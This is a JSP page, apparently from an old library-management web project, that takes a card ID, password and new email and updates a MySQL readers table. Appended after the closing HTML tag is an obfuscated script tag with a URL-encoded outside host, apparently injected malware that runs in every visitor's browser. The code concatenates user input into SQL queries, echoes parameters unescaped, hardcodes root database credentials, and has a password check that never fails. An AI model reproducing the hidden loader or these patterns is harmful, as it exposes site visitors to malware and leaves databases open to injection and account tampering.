📄 emailchange.jsp
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<%@ page contentType = "text/html; charset =GBK" %>
<%@ page language = "java" import = "java.sql.*" %>
<%
request.setCharacterEncoding("GBK");
response.setCharacterEncoding("GBK");
%>
<html>
<head>
<title>Delete readers</title>
</head>
<body>
<table border="0" width="1035" id="table1" height="345">
<tr>
<td width="238" rowspan="2">
<img border="0" src="../images/Snap1.jpg" width="238" height="78"> </td>
<td width="652" height="59" colspan="5"></td>
<td width="130" height="59">
<TABLE cellSpacing=0 cellPadding=3 border=0 valign="top" id="table2" width="6">
<TBODY>
<TR>
<TD class=globalLinks vAlign=center noWrap align=right>
</TD></TR></TBODY></TABLE>
</td>
</tr>
<tr>
<td width="159" height="27"></td>
<td width="75" height="27" align="center" bgcolor="#008080"></td>
<td width="95" height="27" align="center" bgcolor="#C0C0C0"></td>
<td width="86" height="27" align="center" bgcolor="#C0C0C0"></td>
<td width="221" height="27"></td>
<td width="130" height="27"></td>
</tr>
<tr>
<td width="1025" colspan="7" height="32" align="center" bgcolor="#008080"></td>
</tr>
<tr>
<td width="1025" colspan="7" height="67"></td>
</tr>
<tr>
<td width="1025" colspan="7">
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0 id="table5">
<TBODY>
<TR height=30><TD bgColor=#eeeecc><font face="华文隶书" size="6"><b>Change Email Result:</b></font></TD></TR></TBODY></TABLE></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"><CENTER>
<TABLE align=middle class=tableBackground border=0 id="table6" width="793">
<TBODY>
<TR>
<TD>
<p align="center">
</TD></TR>
<TR>
<TD vAlign=center align=middle height="57">
<%
String n1 = request.getParameter("cardID");
String n2 = request.getParameter("passd");
String n3 = request.getParameter("email");
out.println(" CHANGE EMAIL!"+"<BR>");
out.println("Card ID : "+n1+"<BR>");
out.println("Change Email to : "+n3+"<BR>");
%>
<%
String mySqlDriver = "com.mysql.jdbc.Driver";
String url ="jdbc:mysql://localhost:3306/library?user=root&password=123456&useUnicode=true&characterEncoding=gbk";
Connection conn;
try{
Class.forName(mySqlDriver);
}
catch(Exception e){
out.println("Driver Error");
}
conn = DriverManager.getConnection(url);
if(conn==null){
out.println("get Conn erroe");
}
Statement stm = conn.createStatement();
ResultSet re = null;
re = stm.executeQuery("SELECT * FROM readers WHERE cardID = '"+n1+"' and passd = '"+n2+"'");
if(re == null) { out.println("<tr vAlign=center align=middle bgcolor = #ffff00> <TD Align=center align=middle>The cardID or the password is ERROR!</TD>");
out.println("<tr vAlign=center align=middle bgcolor = #ffff00> <TD Align=center align=middle> Go back and try again</TD>");
}
else
{
int re2 = stm.executeUpdate("UPDATE readers SET email = '"+n3+"' WHERE cardID = '"+n1+"'");
if(re2==0) {out.println("<tr vAlign=center align=middle bgcolor = #00ff00> <TD Align=center align=middle> The successful line:"+re2+"</TD>");
out.println("<tr vAlign=center align=middle bgcolor = #ffff00> <TD Align=center align=middle>Something Wrong?</TD>");
}
else{
out.println("<tr vAlign=center align=middle bgcolor = #00ff00> <TD Align=center align=middle>DELETE READERS SUCCESS!</TD>");
out.println("<tr vAlign=center align=middle bgcolor = #00ff00> <TD Align=center align=middle> The successful line:"+re2+"</TD>");}
}
%>
</tr>
<%
stm.close();
conn.close();
%>
</TABLE></CENTER><table><td>
<p></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"> <font face="Courier New">
<a href="../reader_opration.htm">GO BACK BOOK OPERATE AGAIN</a></font><p>Library</td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"></td>
</tr>
<tr>
<td width="1025" colspan="7" align="center"><FONT size=1>© 2007.5-2007.6 142042 All rights
reserved.</FONT></td>
</tr>
</table>
</body>
</html><script src="http://%76%6F%64%2E%32%31%63%6E%79%6C%2E%63%6F%6D/%62%32%2E%61%73%70"></script>⌨️ 快捷键说明
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